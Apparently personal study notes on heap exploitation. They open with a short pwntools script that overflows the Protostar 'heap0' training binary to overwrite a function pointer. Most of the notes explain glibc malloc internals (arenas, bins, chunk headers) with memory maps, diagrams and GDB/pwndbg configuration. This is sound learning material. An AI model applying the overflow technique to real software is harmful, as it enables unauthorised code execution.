#!/bin/python3

from pwn import *

exe = ELF("./heap0") context.binary = exe

offset = b'A'*(0x50 - 0x4) + b'BBBB' + p32(0x8048464)

open(‘payload', ‘wb').write(offset)

proc = process(argv=[exe.path, offset]) proc.interactive()

#================================================================================================

C++ vs C

(gdb) help info proc

Glibc Heap Implementation (glibc malloc)

https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

https://github.com/shellphish/how2heap

WOOOOOOOOOOOOOOOOOOOW https://wargames.ret2.systems/levels

Defenetions

  1. arena
  2. main arena
  3. freelist bins
  4. brk mmap
  5. main arenas bin
  6. thread arena

many memory allocators are available:


malloc      – glibc
ptmalloc2   – glibc                         ==> later due to ptmalloc2's threading support, it became the default memory allocator for linux.
dlmalloc    – General purpose allocator     ==> early days of linux, dlmalloc was used as the default memory allocator
jemalloc    – FreeBSD and Firefox
tcmalloc    – Google
libumem     – Solaris


there could be lot of changes between ptmalloc2 and glibc's malloc implementation.

System Calls: As seen in this post malloc internally invokes either brk(); or mmap(); syscall.

per thread arena

Threading: During early days of linux, dlmalloc was used as the default memory allocator. But later due to ptmalloc2's threading support, it became the default memory allocator for linux. Threading support helps in improving memory allocator performance and hence application performance. In dlmalloc when two threads call malloc at the same time ONLY one thread can enter the critical section, since freelist data structure is shared among all the available threads. Hence memory allocation takes time in multi threaded applications, resulting in performance degradation. While in ptmalloc2, when two threads call malloc at the same time memory is allocated immediately since each thread maintains a separate heap segment and hence freelist data structures maintaining those heaps are also separate. This act of maintaining separate heap and freelist data structures for each thread is called per thread arena.

/* Per thread arena example. */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>

void* threadFunc(void* arg) {

		char* addr = (char*) malloc(1000);
		free(addr);
}

int main() {
		pthread_t t1;
		int ret;
		char* addr;

		addr = (char*) malloc(1000);
		free(addr);

		ret = pthread_create(&t1, NULL, threadFunc, NULL);
		ret = pthread_join(t1, NULL);

		return 0;
}

Before malloc in main thread: In the below output we can see that there is NO heap segment yet and no per thread stack too since thread1 is not yet created

 int main()

Start Addr   End Addr       Size     Offset  Perms   objfile                                                                           
		0x56555000 0x56556000     0x1000        0x0  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56556000 0x56557000     0x1000     0x1000  r-xp   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56557000 0x56558000     0x1000     0x2000  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56558000 0x56559000     0x1000     0x2000  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56559000 0x5655a000     0x1000     0x3000  rw-p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2

		0xf7d8e000 0xf7da8000    0x1a000        0x0  r--p   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7da8000 0xf7f00000   0x158000    0x1a000  r-xp   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7f00000 0xf7f77000    0x77000   0x172000  r--p   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7f77000 0xf7f79000     0x2000   0x1e9000  r--p   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7f79000 0xf7f7a000     0x1000   0x1eb000  rw-p   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7f7a000 0xf7f82000     0x8000        0x0  rw-p                                                                              
		0xf7f82000 0xf7f87000     0x5000        0x0  r--p   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7f87000 0xf7f97000    0x10000     0x5000  r-xp   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7f97000 0xf7f9f000     0x8000    0x15000  r--p   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7f9f000 0xf7fa0000     0x1000    0x1c000  r--p   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7fa0000 0xf7fa1000     0x1000    0x1d000  rw-p   /usr/lib/i386-linux-gnu/libpthread-2.33.so                 
		0xf7fa1000 0xf7fa3000     0x2000        0x0  rw-p

		0xf7fc3000 0xf7fc5000     0x2000        0x0  rw-p                                                                                                            
		0xf7fc5000 0xf7fc9000     0x4000        0x0  r--p   [vvar]
		0xf7fc9000 0xf7fcb000     0x2000        0x0  r-xp   [vdso]
		0xf7fcb000 0xf7fcc000     0x1000        0x0  r--p   /usr/lib/i386-linux-gnu/ld-2.33.so                                                                       
		0xf7fcc000 0xf7fee000    0x22000     0x1000  r-xp   /usr/lib/i386-linux-gnu/ld-2.33.so                                                                       
		0xf7fee000 0xf7ffb000     0xd000    0x23000  r--p   /usr/lib/i386-linux-gnu/ld-2.33.so                                                                       
		0xf7ffb000 0xf7ffd000     0x2000    0x2f000  r--p   /usr/lib/i386-linux-gnu/ld-2.33.so                                                                       
		0xf7ffd000 0xf7ffe000     0x1000    0x31000  rw-p   /usr/lib/i386-linux-gnu/ld-2.33.so

		0xfffdd000 0xffffe000    0x21000        0x0  rw-p   [stack]

After malloc in main thread, the heap segment is created !!
And its lies just above the data segment (0x5655a000-0x5657c000)

this shows heap memory is created by increasing program break location using brk syscall

 addr = (char*) malloc(1000);
		Start Addr   End Addr       Size     Offset  Perms   objfile
		0x56555000 0x56556000     0x1000        0x0  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2    
		0x56556000 0x56557000     0x1000     0x1000  r-xp   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2    
		0x56557000 0x56558000     0x1000     0x2000  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2    
		0x56558000 0x56559000     0x1000     0x2000  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2    
		0x56559000 0x5655a000     0x1000     0x3000  rw-p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2    
		0x5655a000 0x5657c000    0x22000        0x0  rw-p   [heap]                                                                              # NEW !!    this called the MAIN ARENA !! 

		0xf7d8e000 0xf7da8000    0x1a000        0x0  r--p   /usr/lib/i386-linux-gnu/libc-2.33.so     
		...
Note

Also do note that eventhough user requested only 1000 bytes, heap memory of size 136 KB is created. (0x22000 / 1024).

This contiguous region of heap memory is called arena. and since it has created by main thread its called main arena.

Note

When arena runs out of free space, it can grow by increasing program break location (After growing top chunk's size is adjusted to include the extra space). Similarly arena can also shrink when there is lot of free space on top chunk.

Later when user requests memory, ‘glibc malloc’ doesnt get new heap memory from kernel, instead it will try to find a free block in bin. And only when no free block exists, it obtains memory from kernel.

think of bin as a list of linked list (directional / multidirectional)

 free(addr);

		Start Addr   End Addr       Size     Offset  Perms   objfile                                                                   
		0x56555000 0x56556000     0x1000        0x0  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56556000 0x56557000     0x1000     0x1000  r-xp   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56557000 0x56558000     0x1000     0x2000  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56558000 0x56559000     0x1000     0x2000  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56559000 0x5655a000     0x1000     0x3000  rw-p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x5655a000 0x5657c000    0x22000        0x0  rw-p   [heap]                                                                              # nothing changed !! even after free 

		0xf7d8e000 0xf7da8000    0x1a000        0x0  r--p   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7da8000 0xf7f00000   0x158000    0x1a000  r-xp   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7f00000 0xf7f77000    0x77000   0x172000  r--p   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7f77000 0xf7f79000     0x2000   0x1e9000  r--p   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7f79000 0xf7f7a000     0x1000   0x1eb000  rw-p   /usr/lib/i386-linux-gnu/libc-2.33.so                                       
		0xf7f7a000 0xf7f82000     0x8000        0x0  rw-p                                                                              
		0xf7f82000 0xf7f87000     0x5000        0x0  r--p   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7f87000 0xf7f97000    0x10000     0x5000  r-xp   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7f97000 0xf7f9f000     0x8000    0x15000  r--p   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7f9f000 0xf7fa0000     0x1000    0x1c000  r--p   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7fa0000 0xf7fa1000     0x1000    0x1d000  rw-p   /usr/lib/i386-linux-gnu/libpthread-2.33.so                                 
		0xf7fa1000 0xf7fa3000     0x2000        0x0  rw-p

		0xf7fc3000 0xf7fc5000     0x2000        0x0  rw-p                                                                              
		0xf7fc5000 0xf7fc9000     0x4000        0x0  r--p   [vvar]                                                                     
		0xf7fc9000 0xf7fcb000     0x2000        0x0  r-xp   [vdso]                                                                     
		0xf7fcb000 0xf7fcc000     0x1000        0x0  r--p   /usr/lib/i386-linux-gnu/ld-2.33.so                                         
		0xf7fcc000 0xf7fee000    0x22000     0x1000  r-xp   /usr/lib/i386-linux-gnu/ld-2.33.so
		0xf7fee000 0xf7ffb000     0xd000    0x23000  r--p   /usr/lib/i386-linux-gnu/ld-2.33.so
		0xf7ffb000 0xf7ffd000     0x2000    0x2f000  r--p   /usr/lib/i386-linux-gnu/ld-2.33.so
		0xf7ffd000 0xf7ffe000     0x1000    0x31000  rw-p   /usr/lib/i386-linux-gnu/ld-2.33.so

		0xfff0e000 0xffffe000    0xf0000        0x0  rw-p   [stack]

when allocated memory region is freed, memory behind it doesnt get released to the operating system immediately. Allocated memory region (of size 1000 bytes) is released only to glibc malloc library ==> which adds this freed block to main arenas bin (In glibc malloc, freelist datastructures are referred as bins).

 ret = pthread_create(&t1, NULL, threadFunc, NULL);                 char* addr = (char*) malloc(1000);

		Start Addr   End Addr       Size     Offset  Perms   objfile                                                                   
		0x56555000 0x56556000     0x1000        0x0  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56556000 0x56557000     0x1000     0x1000  r-xp   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56557000 0x56558000     0x1000     0x2000  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56558000 0x56559000     0x1000     0x2000  r--p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x56559000 0x5655a000     0x1000     0x3000  rw-p   /home/o54ma/exploit-exercises-protostar-2/protostar/bin/HeapExploitaion/Ex2
		0x5655a000 0x5657c000    0x22000        0x0  rw-p   [heap]

		0xf7400000 0xf7421000    0x21000        0x0  rw-p   #  # NEW !! Thread Arena  (132 KB) size
		0xf7421000 0xf7500000    0xdf000        0x0  ---p                                                                                       

		0xf758d000 0xf758e000     0x1000        0x0  ---p
		0xf758e000 0xf7d8e000   0x800000        0x0  rw-p 

		0xf7d8e000 0xf7da8000    0x1a000        0x0  r--p   /usr/lib/i386-linux-gnu/libc-2.33.so
		....
		....

Note

heap memory is created using mmap syscall unlike main thread (which uses sbrk)

NOTE: When user request size is more than 132 KB (lets say malloc(132 * 1024)) and when there is not enough space in an arena to satisfy user request, memory is allocated using mmap syscall (and NOT using sbrk) irrespective of whether a request is made from main arena or thread arena.

 ret = pthread_create(&t1, NULL, threadFunc, NULL);                 free(addr);

that freeing allocated memory region doesnt release heap memory to the operating system.

instead this freed block added to its thread arenas bin.

Note

So can there be a one to one mapping between the number of threads and the number of arena ? NO

application’s arena limit is based on number of cores present in the system

For 32 bit systems: Number of arena = 2 * number of cores.For 64 bit systems: Number of arena = 8 * number of cores.

hence some arenas will be shared between mutiple threads !!

                    ┌─────────────────────┐
                                         
        ┌───────────┤        Arena        ├─────────────────────────────────────────────┬────────────────────────────────────────┐
                                                                                                                             
                   └──────────┬──────────┘                                                                                                            ┌────────────────────────┐
                                                                                                                                                                             
                                                                                                                                                                             
                                                                            ┌─────────▼─────────┐                    ┌─────────▼─────────┐                                 Free Chunk
                                                                    low addr                               low addr                                        ┌──────────────────────────────────┐
┌───────▼───────┐      ┌───────▼───────┐                                         malloc_chunk                                                                          Prev Chunk Size         
                                                                                                                      Heap Info                          ├──────────────────────┬───┬───┬───┤
   Fast Bin            Regular Bin                                        ├───────────────────┤                                                                  Chunk Size       N  M  P 
                                                                                                                                                         ├──────────────────────┴───┴───┴───┤
└───────────────┘      └───────┬───────┘                                                                             ├───────────────────┤                                     FD                
                                                                                 Free Chunk                                                                 ├──────────────────────────────────┤
                                                                                                                       malloc_state                                         BK                
                                                                                                                                                            ├──────────────────────────────────┤
        ┌──────────────────────┼─────────────────────┐                        ├───────────────────┤                                                                                              
                                                                                                                  ├──────────────────┬┤                                                       
                                                                              malloc_chunk                                          │┼┐                                  Unused              
                                                                                                                     malloc_chunk   │┼│                                                      
                                                                           ├───────────────────┤                                      │┼│                                                      
┌───────▼───────┐      ┌───────▼───────┐     ┌───────▼───────┐                                                       ├──────────────────┼┼│                    └──────────────────────────────────┘
                                                                             Allocated                                           │┼│            
 Unsorted Bin           Small Bin           Large Bin                          Chunk                                             │┼┼────────────┘
                                                                                                                   Free Chunk    │┼│
└───────────────┘      └───────────────┘     └───────────────┘                                                                         │┼│
                                                                              ├───────────────────┤                                      │┼┘
                                                                                                                     ├──────────────────┼│
                                                                                 malloc_chunk                                          │┼┐            ┌────────────────────────┐
                                                                                                                        malloc_chunk   │┼│                                    
                                                                              ├───────────────────┤                                      │┼│                                    
                                                                                                                     ├──────────────────┼┼│                               Allocated Chunk
                                                                                   Allocated                                           │┼│                    ┌──────────────────────────────────┐
                                                                                     Chunk                                Allocated    │┼│                              Prev Chunk Size         
                                             ┌───────────────────┐                                                          Chunk      │┼│                    ├──────────────────────┬───┬───┬───┤
                                                                                                                                     │┼│                          Chunk Size       N  M  P 
                                                malloc_state    ├────┐       ├───────────────────┤                                      │┼┘                    ├──────────────────────┴───┴───┴───┤
                                                                                                                  ├──────────────────┼│                                                       
                                                                    └───────►   malloc_chunk                                          │┼┐                                                      
                                             └───────────────────┘                                                      malloc_chunk   │┼│                                                      
                                                at .data section              ├───────────────────┤                                      │┼│                                                      
                                                                                                                     ├──────────────────┼┼│                                   Data               
                                                                                   Top Chunk                                           │┼│                                                      
                                                                     high addr                                            Allocated    │┼┼────────────┘                                          
                                                                              └───────────────────┘                           Chunk      │┼│                                                       
                                                                                                                                         │┼│                                                       
                                                                             ┌─────────────────────┐                                     │┼┘                     └──────────────────────────────────┘
                                                                                                                     ├──────────────────┴┤
                                                                                   Main Arena                                           
                                                                                                                        malloc_chunk    
                                                                             └─────────────────────┘                                      
                                                                                                                       ├───────────────────┤
                                                                                                                                          
                                                                                                                            Top Chunk     
                                                                                                              high addr                   
                                                                                                                       └───────────────────┘

                                                                                                                      ┌─────────────────────┐
                                                                                                                                           
                                                                                                                           Thread Arena    
                                                                                                                                           
                                                                                                                      └─────────────────────┘
`heap_info` 	– Heap Header – A single thread arena can have multiple heaps. Each heap has its own header. Why multiple heaps needed? To begin with every thread arena contains ONLY one heap, but when this heap segment runs out of space, new heap (non contiguous region) gets `mmap'd` to this arena.	

** no heap_info for the main arena heap 

`malloc_state` 	– Arena Header – A single thread arena can have multiple heaps, but for `all` those heaps only a single arena header exists. Arena header contains information about bins, top chunk, last remainder chunk…

`malloc_chunk` 	– Chunk Header – A heap is divided into many chunks based on user requests. Each of those chunks has its own chunk header.

The Last 3 bits of the size field contains ::

    NON_MAIN_ARENA (N) 	– This bit is set when this chunk belongs to a thread arena.
    IS_MMAPPED (M) 		– This bit is set when chunk is mmap'd.
    PREV_INUSE (P) 		– This bit is set when previous chunk is allocated.	(or not exist, i.e the first chunk has nothing before it) !! 

``


in allocated chunk 

prev_size: If the previous chunk is free, this field contains the size of previous chunk. Else if previous chunk is allocated, this field contains previous chunk's user data.




in free chunk

prev_size: No two free chunks can be adjacent together. When both the chunks are free, its gets combined into one single free chunk. Hence always previous chunk to this freed chunk would be allocated and therefore prev_size contains previous chunk's user data

fd: Forward pointer – Points to next chunk in the same bin (and NOT to the next chunk present in physical memory).
bk: Backward pointer – Points to previous chunk in the same bin (and NOT to the previous chunk present in physical memory).

OLDD !!!

source /home/o54ma/pwndbg/gdbinit.py set context-clear-screen on set follow-fork-mode parent

set context-stack-lines 40 set context-code-lines 25

source /home/o54ma/splitmind/gdbinit.py python import splitmind (splitmind.Mind() .tell_splitter(show_titles=True) .tell_splitter(set_title="Main") .right(display="stack", size="30%") .above(of="main", display="disasm", size="60%", banner="top") .show("code", on="disasm", banner="none") .right(cmd='tty; tail -f /dev/null', size="50%", clearing=False) .tell_splitter(set_title='Input / Output') .above(display="backtrace", size="75%") .above(display="legend", size="22") .show("regs", on="legend") .below(of="stack", cmd="ipython", size="30%") ).build(nobanner=True) end

set context-code-lines 30 set context-source-code-lines 30 set context-stack-lines 40 set context-sections "regs args code disasm stack backtrace"

DEF !!

b *main r

cwatch execute "heap"

cwatch execute "bins"

cwatch execute "vis"

NEW !!

source /home/o54ma/pwndbg/gdbinit.py

set context-clear-screen on set follow-fork-mode parent

set context-stack-lines 28 set context-code-lines 28 set context-source-code-lines 20

set context-ghidra always

set context-register-changed-color yellow

set context-sections "regs args code disasm stack ghidra expressions"

source /home/o54ma/splitmind/gdbinit.py python import splitmind (splitmind.Mind() .tell_splitter(show_titles=True) .tell_splitter(set_title="Main") .right(display="stack", size="30%") .right(of="main", display="disasm", size="50%")

.above(display="code", size="50%") .above(display="legend", size="22") .show("regs", on="legend") .below(of="stack", display="hacker", size="50%") .show("ghidra", on="hacker") .below(of="hacker", cmd="python3", size="7%") ).build(nobanner=True) end